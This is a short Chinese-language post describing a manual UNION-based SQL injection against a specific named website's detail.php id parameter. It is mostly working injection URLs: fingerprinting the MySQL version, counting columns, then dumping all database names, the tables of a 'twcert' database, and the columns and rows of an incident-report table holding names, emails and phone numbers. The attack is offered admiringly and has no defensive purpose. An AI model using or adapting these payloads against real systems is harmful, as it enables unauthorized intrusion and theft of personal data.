PHP遭受SQL注入攻击，网站被入侵。

摘要

破解数据库，先判断版本，再猜字段数。技术高超，挑战极限。

正文

【摘要】1.判断版本http://www.qqkiss.tk/document/advisory/detail.php?id=7andord(mid(version(),1,1))>51返回正常，说明大于4.0版本，支持ounion查询2.猜解字段数目,用orderby也可以猜，也可以… 1.判断版本http://www.qqkiss.tk/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常，说明大于4.0版本，支持ounion查询2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解http://www.qqkiss.tk/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9–3.查看数据库版本及当前用户，http://www.qqkiss.tk/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9–数据库版本5.1.35，据说mysql4.1以上版本支持concat函数，我也不知道是真是假，有待牛人去考证。4.判断有没有写权限http://www.qqkiss.tk/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0– 返回错误，没有写权限没办法，手动猜表啦5.查库，以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1但是这个点有点不争气，用不了这个命令，就学习了下土耳其黑客的手法，不多说，如下http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns–成功查出所有数据库，国外的黑客就是不一般。数据库如下：information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb6.爆表，爆的是twcert库http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274–爆出如下表downloadfile,irsys,newsdata,secrpt,secrpt_big57.爆列名，这次爆的是irsys表http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973–爆出如下列ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status8.查询字段数，到这一步，国内很少有黑客去查询字段数的，直接用limit N,1去查询，直接N到报错为止。http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys–返回是3，说明每个列里有3个地段9.爆字段内容http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1–爆出name列的第一个字段的内容http://www.qqkiss.tk/document/advisory/detail.php?id=7+and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1–爆出name列的第二个字段的内容

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